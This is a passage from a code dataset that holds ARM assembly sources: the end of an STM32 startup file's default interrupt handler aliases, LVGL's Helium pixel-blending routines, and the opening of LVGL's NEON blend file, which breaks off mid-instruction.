WWDG_IRQHandler,Default_Handler .weak PVD_IRQHandler .thumb_set PVD_IRQHandler,Default_Handler .weak TAMP_STAMP_IRQHandler .thumb_set TAMP_STAMP_IRQHandler,Default_Handler .weak RTC_WKUP_IRQHandler .thumb_set RTC_WKUP_IRQHandler,Default_Handler .weak FLASH_IRQHandler .thumb_set FLASH_IRQHandler,Default_Handler .weak RCC_IRQHandler .thumb_set RCC_IRQHandler,Default_Handler .weak EXTI0_IRQHandler .thumb_set EXTI0_IRQHandler,Default_Handler .weak EXTI1_IRQHandler .thumb_set EXTI1_IRQHandler,Default_Handler .weak EXTI2_IRQHandler .thumb_set EXTI2_IRQHandler,Default_Handler .weak EXTI3_IRQHandler .thumb_set EXTI3_IRQHandler,Default_Handler .weak EXTI4_IRQHandler .thumb_set EXTI4_IRQHandler,Default_Handler .weak DMA1_Stream0_IRQHandler .thumb_set DMA1_Stream0_IRQHandler,Default_Handler .weak DMA1_Stream1_IRQHandler .thumb_set DMA1_Stream1_IRQHandler,Default_Handler .weak DMA1_Stream2_IRQHandler .thumb_set DMA1_Stream2_IRQHandler,Default_Handler .weak DMA1_Stream3_IRQHandler .thumb_set DMA1_Stream3_IRQHandler,Default_Handler .weak DMA1_Stream4_IRQHandler .thumb_set DMA1_Stream4_IRQHandler,Default_Handler .weak DMA1_Stream5_IRQHandler .thumb_set DMA1_Stream5_IRQHandler,Default_Handler .weak DMA1_Stream6_IRQHandler .thumb_set DMA1_Stream6_IRQHandler,Default_Handler .weak ADC_IRQHandler .thumb_set ADC_IRQHandler,Default_Handler .weak EXTI9_5_IRQHandler .thumb_set EXTI9_5_IRQHandler,Default_Handler .weak TIM1_BRK_TIM9_IRQHandler .thumb_set TIM1_BRK_TIM9_IRQHandler,Default_Handler .weak TIM1_UP_TIM10_IRQHandler .thumb_set TIM1_UP_TIM10_IRQHandler,Default_Handler .weak TIM1_TRG_COM_TIM11_IRQHandler .thumb_set TIM1_TRG_COM_TIM11_IRQHandler,Default_Handler .weak TIM1_CC_IRQHandler .thumb_set TIM1_CC_IRQHandler,Default_Handler .weak TIM2_IRQHandler .thumb_set TIM2_IRQHandler,Default_Handler .weak TIM3_IRQHandler .thumb_set TIM3_IRQHandler,Default_Handler .weak TIM4_IRQHandler .thumb_set TIM4_IRQHandler,Default_Handler .weak I2C1_EV_IRQHandler .thumb_set I2C1_EV_IRQHandler,Default_Handler .weak I2C1_ER_IRQHandler .thumb_set I2C1_ER_IRQHandler,Default_Handler .weak I2C2_EV_IRQHandler .thumb_set I2C2_EV_IRQHandler,Default_Handler .weak I2C2_ER_IRQHandler .thumb_set I2C2_ER_IRQHandler,Default_Handler .weak SPI1_IRQHandler .thumb_set SPI1_IRQHandler,Default_Handler .weak SPI2_IRQHandler .thumb_set SPI2_IRQHandler,Default_Handler .weak USART1_IRQHandler .thumb_set USART1_IRQHandler,Default_Handler .weak USART2_IRQHandler .thumb_set USART2_IRQHandler,Default_Handler .weak EXTI15_10_IRQHandler .thumb_set EXTI15_10_IRQHandler,Default_Handler .weak RTC_Alarm_IRQHandler .thumb_set RTC_Alarm_IRQHandler,Default_Handler .weak OTG_FS_WKUP_IRQHandler .thumb_set OTG_FS_WKUP_IRQHandler,Default_Handler .weak DMA1_Stream7_IRQHandler .thumb_set DMA1_Stream7_IRQHandler,Default_Handler .weak SDIO_IRQHandler .thumb_set SDIO_IRQHandler,Default_Handler .weak TIM5_IRQHandler .thumb_set TIM5_IRQHandler,Default_Handler .weak SPI3_IRQHandler .thumb_set SPI3_IRQHandler,Default_Handler .weak DMA2_Stream0_IRQHandler .thumb_set DMA2_Stream0_IRQHandler,Default_Handler .weak DMA2_Stream1_IRQHandler .thumb_set DMA2_Stream1_IRQHandler,Default_Handler .weak DMA2_Stream2_IRQHandler .thumb_set DMA2_Stream2_IRQHandler,Default_Handler .weak DMA2_Stream3_IRQHandler .thumb_set DMA2_Stream3_IRQHandler,Default_Handler .weak DMA2_Stream4_IRQHandler .thumb_set DMA2_Stream4_IRQHandler,Default_Handler .weak OTG_FS_IRQHandler .thumb_set OTG_FS_IRQHandler,Default_Handler .weak DMA2_Stream5_IRQHandler .thumb_set DMA2_Stream5_IRQHandler,Default_Handler .weak DMA2_Stream6_IRQHandler .thumb_set DMA2_Stream6_IRQHandler,Default_Handler .weak DMA2_Stream7_IRQHandler .thumb_set DMA2_Stream7_IRQHandler,Default_Handler .weak USART6_IRQHandler .thumb_set USART6_IRQHandler,Default_Handler .weak I2C3_EV_IRQHandler .thumb_set I2C3_EV_IRQHandler,Default_Handler .weak I2C3_ER_IRQHandler .thumb_set I2C3_ER_IRQHandler,Default_Handler .weak FPU_IRQHandler .thumb_set FPU_IRQHandler,Default_Handler .weak SPI4_IRQHandler .thumb_set SPI4_IRQHandler,Default_Handler /******************** (C) COPYRIGHT STMicroelectronics *END OF FILE**/
100askTeam/xiaozhi-linux	21,041	gui/lvgl/src/draw/sw/blend/helium/lv_blend_helium.S	/** * @file lv_blend_helium.S * / #ifndef __ASSEMBLY__ #define __ASSEMBLY__ #endif #include "lv_blend_helium.h" #if LV_USE_DRAW_SW_ASM == LV_DRAW_SW_ASM_HELIUM && defined(__ARM_FEATURE_MVE) && __ARM_FEATURE_MVE && LV_USE_NATIVE_HELIUM_ASM .data reciprocal: .byte 0xFF, 0xE2, 0xCC, 0xB9, 0xAA, 0x9C, 0x91, 0x88 .text .syntax unified .p2align 2 TMP .req r0 DST_ADDR .req r1 DST_W .req r2 DST_H .req r3 DST_STRIDE .req r4 SRC_ADDR .req r5 SRC_STRIDE .req r6 MASK_ADDR .req r7 MASK_STRIDE .req r8 H .req r9 OPA .req r10 RCP .req r11 S_B .req q0 S_G .req q1 S_R .req q2 S_A .req q3 D_B .req q4 D_G .req q5 D_R .req q6 D_A .req q7 N .req q0 V .req q1 R .req q2 L .req q4 S_565 .req q0 D_565 .req q1 S_L .req q2 D_L .req q4 D_T .req q5 BITMASK .req q6 .macro ldst st, op, bpp, mem, reg, areg, cvt, alt_index, wb, aligned .if \bpp == 0 .if \cvt ldr TMP, [\mem\()_ADDR] bfi TMP, TMP, #2, #8 bfi TMP, TMP, #3, #16 lsr TMP, TMP, #8 vdup.16 \reg\()_565, TMP .else ldr TMP, [\mem\()_ADDR] vdup.8 \reg\()_B, TMP lsr TMP, #8 vdup.8 \reg\()_G, TMP lsr TMP, #8 vdup.8 \reg\()_R, TMP .endif .elseif \bpp == 8 .if \cvt v\op\()rb.u16 \reg\()_A, [\mem\()_ADDR], #8 .else v\op\()rb.8 \reg\()_A, [\mem\()_ADDR], #16 .endif .elseif \bpp == 16 .if \cvt .if \st vsri.8 \reg\()_R, \reg\()_G, #5 vshr.u8 \reg\()_G, \reg\()_G, #2 vshr.u8 \reg\()_B, \reg\()_B, #3 vsli.8 \reg\()_B, \reg\()_G, #5 .endif .if \alt_index v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, S_B] v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, S_G] .else v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, \reg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, \reg\()_A] .endif .if \st == 0 vshl.u8 \reg\()_G, \reg\()_R, #5 vsri.u8 \reg\()_G, \reg\()_B, #3 vshl.u8 \reg\()_B, \reg\()_B, #3 vsri.u8 \reg\()_R, \reg\()_R, #5 vsri.u8 \reg\()_G, \reg\()_G, #6 vsri.u8 \reg\()_B, \reg\()_B, #5 .endif .ifc \wb, ! .if \alt_index add \mem\()_ADDR, #32 .else add \mem\()_ADDR, #31 .endif .elseif \alt_index == 0 sub \mem\()_ADDR, #1 .endif .else @ cvt .ifc \wb, ! v\op\()rh.16 \reg\()_565, [\mem\()_ADDR], #16 .else v\op\()rh.16 \reg\()_565, [\mem\()_ADDR] .endif .endif .elseif \bpp == 24 .if \alt_index == 1 v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, S_B] v\op\()rb.8 \reg\()_G, [\mem\()_ADDR, S_G] v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, S_R] .elseif \alt_index == 2 v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, S_R] v\op\()rb.8 \reg\()_G, [\mem\()_ADDR, S_A] v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, D_A] .else v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, \reg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_G, [\mem\()_ADDR, \reg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, \reg\()_A] .endif .ifc \wb, ! .if \alt_index add \mem\()_ADDR, #48 .else add \mem\()_ADDR, #46 .endif .elseif \alt_index == 0 sub \mem\()_ADDR, #2 .endif .elseif \aligned v\op\()40.8 {\reg\()_B, \reg\()_G, \reg\()_R, \reg\()_A}, [\mem\()_ADDR] v\op\()41.8 {\reg\()_B, \reg\()_G, \reg\()_R, \reg\()_A}, [\mem\()_ADDR] v\op\()42.8 {\reg\()_B, \reg\()_G, \reg\()_R, \reg\()_A}, [\mem\()_ADDR] v\op\()43.8 {\reg\()_B, \reg\()_G, \reg\()_R, \reg\()_A}, [\mem\()_ADDR]\wb .else v\op\()rb.8 \reg\()_B, [\mem\()_ADDR, \areg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_G, [\mem\()_ADDR, \areg\()_A] add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_R, [\mem\()_ADDR, \areg\()_A] .if (\bpp == 32) \|\| (\bpp == 31) && \st add \mem\()_ADDR, #1 v\op\()rb.8 \reg\()_A, [\mem\()_ADDR, \areg\()_A] .endif .ifc \wb, ! .if (\bpp == 32) \|\| (\bpp == 31) && \st add \mem\()_ADDR, #61 .else add \mem\()_ADDR, #62 .endif .else .if (\bpp == 32) \|\| (\bpp == 31) && \st sub \mem\()_ADDR, #3 .else sub \mem\()_ADDR, #2 .endif .endif .endif .endm .macro load_index bpp, reg, areg, aligned .if (\bpp > 0) && ((\bpp < 31) \|\| (\aligned == 0)) mov TMP, #0 .if \bpp == 8 vidup.u8 \reg\()_A, TMP, #1 .elseif \bpp == 16 vidup.u8 \reg\()_A, TMP, #2 .elseif \bpp == 24 vidup.u8 \reg\()_A, TMP, #1 mov TMP, #3 vmul.u8 \reg\()_A, \reg\()_A, TMP .else vidup.u8 \areg\()_A, TMP, #4 .endif .endif .endm .macro init src_bpp, dst_bpp, mask, opa ldr DST_ADDR, [r0, #4] ldr DST_W, [r0, #8] ldr DST_H, [r0, #12] ldr DST_STRIDE, [r0, #16] ldr SRC_ADDR, [r0, #20] .if \src_bpp > 0 ldr SRC_STRIDE, [r0, #24] .endif .if \mask ldr MASK_ADDR, [r0, #28] ldr MASK_STRIDE, [r0, #32] .endif .if \opa ldr OPA, [r0] .endif .if (\src_bpp <= 16) && (\dst_bpp == 16) .if \opa \|\| \mask mov TMP, #0xF81F movt TMP, #0x7E0 vdup.32 BITMASK, TMP .endif add TMP, DST_W, #0x7 bic TMP, TMP, #0x7 .else add TMP, DST_W, #0xF bic TMP, TMP, #0xF .endif .if \dst_bpp == 32 ldr RCP, =(reciprocal - 8) .endif .if \dst_bpp == 16 sub DST_STRIDE, DST_STRIDE, TMP, lsl #1 .elseif \dst_bpp == 24 sub DST_STRIDE, DST_STRIDE, TMP sub DST_STRIDE, DST_STRIDE, TMP, lsl #1 .elseif \dst_bpp >= 31 sub DST_STRIDE, DST_STRIDE, TMP, lsl #2 .endif .if \mask sub MASK_STRIDE, MASK_STRIDE, TMP .endif .if \src_bpp == 0 .if \mask \|\| \opa .if \dst_bpp > 16 ldst 0, ld, \src_bpp, SRC, S, D, 0, 0 vmov.u8 S_A, #0xFF .else ldst 0, ld, \src_bpp, SRC, S, D, 1, 0 vmovlb.u16 S_L, S_565 vsli.32 S_L, S_L, #16 vand S_L, S_L, BITMASK .endif .else .if \dst_bpp > 16 ldst 0, ld, \src_bpp, SRC, D, S, 0, 0 .else ldst 0, ld, \src_bpp, SRC, D, S, 1, 0 .endif .endif .else .if \src_bpp == 16 sub SRC_STRIDE, SRC_STRIDE, TMP, lsl #1 .elseif \src_bpp == 24 sub SRC_STRIDE, SRC_STRIDE, TMP sub SRC_STRIDE, SRC_STRIDE, TMP, lsl #1 .elseif \src_bpp >= 31 sub SRC_STRIDE, SRC_STRIDE, TMP, lsl #2 .endif .endif .if (\src_bpp < 32) && (\mask == 0) && (\opa == 0) && !((\src_bpp <= 16) && (\dst_bpp == 16)) @ 16 to 31/32 or reverse: index @ q0, q1 @ 24 to 31/32 or reverse: index @ q0, q1, q2 @ 16 to 24 or reverse: 16 index @ q0, q1, 24 index @ q2, q3, q7 @ 31 to 31/32: index @ q3 (tail only) mov TMP, #0 .if (\src_bpp == 16) \|\| (\dst_bpp == 16) vidup.u8 S_B, TMP, #2 mov TMP, #1 vadd.u8 S_G, S_B, TMP .if (\src_bpp == 24) \|\| (\dst_bpp == 24) vshl.u8 S_R, S_B, #1 vadd.u8 S_R, S_R, S_B vshr.u8 S_R, S_R, #1 vadd.u8 S_A, S_R, TMP vadd.u8 D_A, S_A, TMP .endif .elseif (\src_bpp == 24) \|\| (\dst_bpp == 24) vidup.u8 S_B, TMP, #1 mov TMP, #3 vmul.u8 S_B, S_B, TMP mov TMP, #1 vadd.u8 S_G, S_B, TMP vadd.u8 S_R, S_G, TMP .endif .if \dst_bpp >= 31 load_index \dst_bpp, D, S, 0 vmov.u8 D_A, #0xFF .endif .endif .endm .macro vqrdmulh_u8 Qd, Qn, Qm @ 1 bit precision loss vmulh.u8 \Qd, \Qn, \Qm vqshl.u8 \Qd, \Qd, #1 .endm .macro premult mem, alpha vrmulh.u8 \mem\()_B, \mem\()_B, \alpha vrmulh.u8 \mem\()_G, \mem\()_G, \alpha vrmulh.u8 \mem\()_R, \mem\()_R, \alpha .endm .macro blend_565 p vmovl\p\().u16 D_L, D_565 vsli.32 D_L, D_L, #16 vand D_L, D_L, BITMASK vsub.u32 D_T, S_L, D_L vmovl\p\().u16 D_A, S_A vmul.u32 D_T, D_T, D_A vshr.u32 D_T, D_T, #5 vadd.u32 D_L, D_L, D_T vand D_L, D_L, BITMASK vshr.u32 D_T, D_L, #16 vorr D_L, D_L, D_T vmovn\p\().u32 D_565, D_L .endm .macro late_init src_bpp, dst_bpp, mask, opa, mode .if (\src_bpp <= 16) && (\dst_bpp == 16) && (\mask == 0) .if \opa == 2 mov TMP, #0x7BEF vdup.16 BITMASK, TMP .if \src_bpp == 0 vshr.u16 S_L, S_565, #1 vand S_L, S_L, BITMASK .endif .elseif \opa == 1 vdup.16 S_A, OPA mov TMP, #4 vadd.u16 S_A, S_A, TMP vshr.u16 S_A, S_A, #3 .endif .endif .endm .macro blend src_bpp, dst_bpp, mask, opa, mode .if (\mask == 0) && (\opa == 2) .if (\src_bpp <= 16) && (\dst_bpp == 16) .if \src_bpp > 0 vshr.u16 S_L, S_565, #1 vand S_L, S_L, BITMASK .endif vshr.u16 D_L, D_565, #1 vand D_L, D_L, BITMASK vadd.u16 D_565, S_L, D_L .else vhadd.u8 D_B, D_B, S_B vhadd.u8 D_G, D_G, S_G vhadd.u8 D_R, D_R, S_R .endif .elseif (\src_bpp <= 16) && (\dst_bpp == 16) lsl lr, #1 .if \src_bpp > 0 vmovlb.u16 S_L, S_565 vsli.32 S_L, S_L, #16 vand S_L, S_L, BITMASK .endif blend_565 b .if \src_bpp > 0 vmovlt.u16 S_L, S_565 vsli.32 S_L, S_L, #16 vand S_L, S_L, BITMASK .endif blend_565 t lsr lr, #1 .else .if \dst_bpp < 32 .if (\opa == 0) && (\mask == 0) vmov.u8 D_A, #0xFF mov TMP, #0 vabav.u8 TMP, S_A, D_A cbnz TMP, 91f vmov D_B, S_B vmov D_G, S_G vmov D_R, S_R b 88f 91: .endif vmvn D_A, S_A premult S, S_A premult D, D_A .else vpush {d0-d5} vmov.u8 S_B, #0xFF vmov.u8 S_G, #0 mov TMP, #0 vabav.u8 TMP, S_A, S_B cbz TMP, 91f @ if(fg.alpha == 255 mov TMP, #0 vabav.u8 TMP, D_A, S_G cbnz TMP, 90f @ \|\| bg.alpha == 0) 91: vpop {d8-d13} @ return fg; vmov.u8 D_A, #0xFF b 88f 90: mov TMP, #0 vabav.u8 TMP, S_A, S_G cmp TMP, #2 @ if(fg.alpha <= LV_OPA_MIN) itt le @ return bg; vpople {d0-d5} ble 88f mov TMP, #0 vabav.u8 TMP, D_A, S_B @ if (bg.alpha == 255) cbnz TMP, 89f @ return lv_color_mix32(fg, bg); vpop {d0-d5} vmvn D_A, S_A premult S, S_A premult D, D_A vqadd.u8 D_B, D_B, S_B vqadd.u8 D_G, D_G, S_G vqadd.u8 D_R, D_R, S_R vmov.u8 D_A, #0xFF b 88f 89: vmvn N, S_A vmvn D_A, D_A vrmulh.u8 D_A, N, D_A vmvn D_A, D_A @ D_A = 255 - LV_OPA_MIX2(255 - fg.alpha, 255 - bg.alpha) vclz.i8 N, D_A @ n = clz(D_A) vshl.u8 V, D_A, N @ v = D_A << n vshl.u8 S_A, S_A, N vshr.u8 N, V, #4 @ N is used as tmp from now on vldrb.u8 R, [RCP, N] @ r = reciprocal[(v >> 4) - 8] vrmulh.u8 N, V, R @ r = newton(v,r) vmvn N, N @ = vqrdmulh.u8(vmvn(vrmulh(v, r)), r) vqrdmulh_u8 R, N, R @ but vqrdmulh does not support u8, so we implement one vrmulh.u8 N, V, R @ and do it twice vmvn N, N vqrdmulh_u8 R, N, R vqrdmulh_u8 S_A, S_A, R @ S_A' = S_A 255 / D_A = vrdmulh(S_A << n, r) vpop {d0-d5} premult S, S_A vmvn S_A, S_A premult D, S_A .endif vqadd.u8 D_B, D_B, S_B vqadd.u8 D_G, D_G, S_G vqadd.u8 D_R, D_R, S_R .endif .if \dst_bpp == 31 vmov.u8 D_A, #0xFF .endif 88: .endm .macro blend_line src_bpp, dst_bpp, mask, opa, mode .if (\src_bpp < 31) && (\dst_bpp < 31) blend_block \src_bpp, \dst_bpp, \mask, \opa, \mode, DST_W, 0 .else bics TMP, DST_W, #0xF beq 87f blend_block \src_bpp, \dst_bpp, \mask, \opa, \mode, TMP, 1 87: ands TMP, DST_W, #0xF beq 86f blend_block \src_bpp, \dst_bpp, \mask, \opa, \mode, TMP, 0 86: .endif .endm .macro blend_block src_bpp, dst_bpp, mask, opa, mode, w, aligned .if (\src_bpp <= 16) && (\dst_bpp == 16) wlstp.16 lr, \w, 1f .else wlstp.8 lr, \w, 1f .endif 2: .if (\src_bpp < 32) && (\mask == 0) && (\opa == 0) @ no blend .if \src_bpp == 0 ldst 1, st, \dst_bpp, DST, D, S, 0, 1, !, \aligned .elseif (\src_bpp == \dst_bpp) \|\| (\src_bpp == 31) && (\dst_bpp == 32) .if \dst_bpp < 31 .if \src_bpp < 31 ldst 0, ld, \src_bpp, SRC, D, S, 0, 1, !, \aligned .else ldst 0, ld, \src_bpp, SRC, D, S, 0, 1, !, \aligned .endif ldst 1, st, \dst_bpp, DST, D, S, 0, 1, !, \aligned .else ldst 0, ld, \src_bpp, SRC, D, S, 0, 1, !, \aligned ldst 1, st, \dst_bpp, DST, D, S, 0, 1, !, \aligned .endif .else .if (\dst_bpp < 31) && (\src_bpp < 31) ldst 0, ld, \src_bpp, SRC, D, S, 1, 2, !, \aligned ldst 1, st, \dst_bpp, DST, D, S, 1, 2, !, \aligned .else ldst 0, ld, \src_bpp, SRC, D, S, 1, 1, !, \aligned ldst 1, st, \dst_bpp, DST, D, S, 1, 1, !, \aligned .endif .endif .elseif (\src_bpp <= 16) && (\dst_bpp == 16) .if \src_bpp > 0 ldst 0, ld, \src_bpp, SRC, S, D, 0, 0, !, \aligned .endif ldst 0, ld, \dst_bpp, DST, D, S, 0, 0, , \aligned .if \mask ldst 0, ld, 8, MASK, S, D, 1, 0, ! .if \opa == 2 vshr.u16 S_A, S_A, #1 .elseif \opa == 1 vmul.u16 S_A, S_A, OPA vshr.u16 S_A, S_A, #8 .endif mov TMP, #4 vadd.u16 S_A, S_A, TMP vshr.u16 S_A, S_A, #3 .endif blend \src_bpp, \dst_bpp, \mask, \opa, \mode ldst 1, st, \dst_bpp, DST, D, S, 0, 0, !, \aligned .elseif \src_bpp < 32 @ no src_a .if \src_bpp > 0 load_index \src_bpp, S, D, \aligned ldst 0, ld, \src_bpp, SRC, S, D, 1, 0, !, \aligned .elseif (\opa == 1) \|\| \mask vpush {d0-d5} .endif load_index \dst_bpp, D, S, \aligned ldst 0, ld, \dst_bpp, DST, D, S, 1, 0, , \aligned .if \mask ldst 0, ld, 8, MASK, S, D, 0, 0, !, \aligned .if \opa == 2 vshr.u8 S_A, S_A, #1 .elseif \opa == 1 .if \dst_bpp == 32 vpush {d14-d15} .endif vdup.8 D_A, OPA vrmulh.u8 S_A, S_A, D_A .if \dst_bpp == 32 vpop {d14-d15} .endif .endif .elseif \opa == 1 vdup.8 S_A, OPA .endif blend \src_bpp, \dst_bpp, \mask, \opa, \mode .if (\src_bpp == 0) && ((\opa == 1) \|\| \mask) vpop {d0-d5} .endif .if (\dst_bpp == 32) \|\| \mask \|\| (\opa == 1) load_index \dst_bpp, D, S, \aligned .endif ldst 1, st, \dst_bpp, DST, D, S, 1, 0, !, \aligned .else @ src_a (+\mask) (+\opa) load_index \dst_bpp, D, S, \aligned ldst 0, ld, \dst_bpp, DST, D, S, 1, 0, , \aligned .if (\dst_bpp == 32) && (\mask \|\| \opa \|\| (\aligned == 0)) vpush {d14-d15} .endif load_index \src_bpp, S, D, \aligned ldst 0, ld, \src_bpp, SRC, S, D, 1, 0, !, \aligned .if \mask == 0 .if \opa vdup.8 D_A, OPA vrmulh.u8 S_A, S_A, D_A .endif .else ldst 0, ld, 8, MASK, D, S, 0, 0, !, \aligned vrmulh.u8 S_A, S_A, D_A .if \opa vdup.8 D_A, OPA vrmulh.u8 S_A, S_A, D_A .endif .endif .if (\dst_bpp == 32) && (\mask \|\| \opa \|\| (\aligned == 0)) vpop {d14-d15} .endif blend \src_bpp, \dst_bpp, \mask, \opa, \mode load_index \dst_bpp, D, S, \aligned ldst 1, st, \dst_bpp, DST, D, S, 1, 0, !, \aligned .endif letp lr, 2b 1: .endm .macro enter complex push {r4-r11, lr} .if \complex vpush {d8-d15} .endif .endm .macro exit complex .if \complex vpop {d8-d15} .endif pop {r4-r11, pc} .endm .macro preload mem, bpp .if \bpp >= 31 pld [\mem\()_ADDR, DST_W, lsl #2] .elseif \bpp == 24 add TMP, DST_W, DST_W, lsl #1 pld [\mem\()_ADDR, TMP] .elseif \bpp == 16 pld [\mem\()_ADDR, DST_W, lsl #1] .elseif \bpp == 8 pld [\mem\()_ADDR, DST_W] .endif .endm .macro next src_bpp, mask add DST_ADDR, DST_ADDR, DST_STRIDE .if \src_bpp > 0 add SRC_ADDR, SRC_ADDR, SRC_STRIDE .endif .if \mask add MASK_ADDR, MASK_ADDR, MASK_STRIDE .endif .endm .macro blender src_bpp, dst_bpp, mask, opa, mode .if (\src_bpp <= 16) && (\dst_bpp == 16) && (\opa == 0) && (\mask == 0) enter 0 .else enter 1 .endif init \src_bpp, \dst_bpp, \mask, \opa movs H, DST_H beq 0f preload SRC, \src_bpp .if \mask \|\| \opa \|\| (\src_bpp == 32) preload DST, \dst_bpp .endif .if \opa && (\src_bpp < 32) && (\dst_bpp < 32) 4: @ 50% OPA can be accelerated (OPA == 0x7F/0x80) add TMP, OPA, #1 tst TMP, #0x7E bne 3f late_init \src_bpp, \dst_bpp, \mask, 2, \mode blend_line \src_bpp, \dst_bpp, \mask, 2, \mode next \src_bpp, \mask subs H, #1 bne 4b b 0f .endif 3: late_init \src_bpp, \dst_bpp, \mask, \opa, \mode blend_line \src_bpp, \dst_bpp, \mask, \opa, \mode next \src_bpp, \mask subs H, #1 bne 3b 0: .if (\src_bpp <= 16) && (\dst_bpp == 16) && (\opa == 0) && (\mask == 0) exit 0 .else exit 1 .endif .ltorg .endm .macro export name, src_bpp, dst_bpp, mask, opa, mode .thumb_func .global \name \name\(): blender \src_bpp, \dst_bpp, \mask, \opa, \mode .endm .macro export_set src, dst, src_bpp, dst_bpp, mode .ifc \src, color export lv_\src\()_blend_to_\dst\()_helium, \src_bpp, \dst_bpp, 0, 0, \mode export lv_\src\()_blend_to_\dst\()_with_opa_helium, \src_bpp, \dst_bpp, 0, 1, \mode export lv_\src\()_blend_to_\dst\()_with_mask_helium, \src_bpp, \dst_bpp, 1, 0, \mode export lv_\src\()_blend_to_\dst\()_mix_mask_opa_helium, \src_bpp, \dst_bpp, 1, 1, \mode .else export lv_\src\()_blend_\mode\()_to_\dst\()_helium, \src_bpp, \dst_bpp, 0, 0, \mode export lv_\src\()_blend_\mode\()_to_\dst\()_with_opa_helium, \src_bpp, \dst_bpp, 0, 1, \mode export lv_\src\()_blend_\mode\()_to_\dst\()_with_mask_helium, \src_bpp, \dst_bpp, 1, 0, \mode export lv_\src\()_blend_\mode\()_to_\dst\()_mix_mask_opa_helium, \src_bpp, \dst_bpp, 1, 1, \mode .endif .endm export_set color, rgb565, 0, 16, normal export_set rgb565, rgb565, 16, 16, normal export_set rgb888, rgb565, 24, 16, normal export_set xrgb8888, rgb565, 31, 16, normal export_set argb8888, rgb565, 32, 16, normal export_set color, rgb888, 0, 24, normal export_set rgb565, rgb888, 16, 24, normal export_set rgb888, rgb888, 24, 24, normal export_set xrgb8888, rgb888, 31, 24, normal export_set argb8888, rgb888, 32, 24, normal export_set color, xrgb8888, 0, 31, normal export_set rgb565, xrgb8888, 16, 31, normal export_set rgb888, xrgb8888, 24, 31, normal export_set xrgb8888, xrgb8888, 31, 31, normal export_set argb8888, xrgb8888, 32, 31, normal export_set color, argb8888, 0, 32, normal export_set rgb565, argb8888, 16, 32, normal export_set rgb888, argb8888, 24, 32, normal export_set xrgb8888, argb8888, 31, 32, normal export_set argb8888, argb8888, 32, 32, normal #endif /LV_USE_DRAW_SW_ASM == LV_DRAW_SW_ASM_HELIUM && defined(__ARM_FEATURE_MVE) && __ARM_FEATURE_MVE && LV_USE_NATIVE_HELIUM_ASM/
100askTeam/xiaozhi-linux	21,316	gui/lvgl/src/draw/sw/blend/neon/lv_blend_neon.S	/** * @file lv_blend_neon.S * / #ifndef __ASSEMBLY__ #define __ASSEMBLY__ #endif #include "lv_blend_neon.h" #if LV_USE_DRAW_SW_ASM == LV_DRAW_SW_ASM_NEON .text .fpu neon .arch armv7a .syntax unified .altmacro .p2align 2 @ d0 ~ d3 : src B,G,R,A @ d4 ~ d7 : dst B,G,R,A @ q8 : src RGB565 raw @ q9 : dst RGB565 raw @ q10 ~ q12: pre-multiplied src @ d26~29 : temp @ d30 : mask @ d31 : opa FG_MASK .req r0 BG_MASK .req r1 DST_ADDR .req r2 DST_W .req r3 DST_H .req r4 DST_STRIDE .req r5 SRC_ADDR .req r6 SRC_STRIDE .req r7 MASK_ADDR .req r8 MASK_STRIDE .req r9 W .req r10 H .req r11 S_8888_L .qn q0 S_8888_H .qn q1 D_8888_L .qn q2 D_8888_H .qn q3 S_B .dn d0 S_G .dn d1 S_R .dn d2 S_A .dn d3 D_B .dn d4 D_G .dn d5 D_R .dn d6 D_A .dn d7 S_565 .qn q8 D_565 .qn q9 S_565_L .dn d16 S_565_H .dn d17 D_565_L .dn d18 D_565_H .dn d19 PREMULT_B .qn q10 PREMULT_G .qn q11 PREMULT_R .qn q12 TMP_Q0 .qn q13 TMP_D0 .dn d26 TMP_D1 .dn d27 TMP_Q1 .qn q14 TMP_D2 .dn d28 TMP_D3 .dn d29 M_A .dn d30 OPA .dn d31 .macro convert reg, bpp, intlv .if bpp >= 31 .if intlv vzip.8 reg&_B, reg&_R @ BRBRBRBR GGGGGGGG BRBRBRBR AAAAAAAA vzip.8 reg&_G, reg&_A @ BRBRBRBR GAGAGAGA BRBRBRBR GAGAGAGA vzip.8 reg&_R, reg&_A @ BRBRBRBR GAGAGAGA BGRABGRA BGRABGRA vzip.8 reg&_B, reg&_G @ BGRABGRA BGRABGRA BGRABGRA BGRABGRA .else vuzp.8 reg&_B, reg&_G @ BRBRBRBR GAGAGAGA BGRABGRA BGRABGRA vuzp.8 reg&_R, reg&_A @ BRBRBRBR GAGAGAGA BRBRBRBR GAGAGAGA vuzp.8 reg&_G, reg&_A @ BRBRBRBR GGGGGGGG BRBRBRBR AAAAAAAA vuzp.8 reg&_B, reg&_R @ BBBBBBBB GGGGGGGG RRRRRRRR AAAAAAAA .endif .elseif bpp == 24 .if intlv @ for init only (same B,G,R for all channel) vzip.8 reg&_B, reg&_G @ BGBGBGBG BGBGBGBG RRRRRRRR vzip.16 reg&_B, reg&_R @ BGRRBGRR BGBGBGBG BGRRBGRR vsli.64 reg&_8888_L, reg&_8888_L, #24 @ BGRBGRRB BGBBGBGB vsli.64 reg&_B, reg&_G, #48 @ BGRBGRBG vsri.64 reg&_R, reg&_B, #8 @ GRBGRBGR vsri.64 reg&_G, reg&_R, #8 @ RBGRBGRB .endif .elseif bpp == 16 .if intlv vshll.u8 reg&_565, reg&_R, #8 @ RRRrrRRR 00000000 vshll.u8 TMP_Q0, reg&_G, #8 @ GGGgggGG 00000000 vshll.u8 TMP_Q1, reg&_B, #8 @ BBBbbBBB 00000000 vsri.16 reg&_565, TMP_Q0, #5 @ RRRrrGGG gggGG000 vsri.16 reg&_565, TMP_Q1, #11 @ RRRrrGGG gggBBBbb .else vshr.u8 TMP_Q0, reg&_565, #3 @ 000RRRrr 000gggBB vshrn.i16 reg&_G, reg&_565, #5 @ rrGGGggg vshrn.i16 reg&_R, TMP_Q0, #5 @ RRRrr000 vshl.i8 reg&_G, reg&_G, #2 @ GGGggg00 vshl.i16 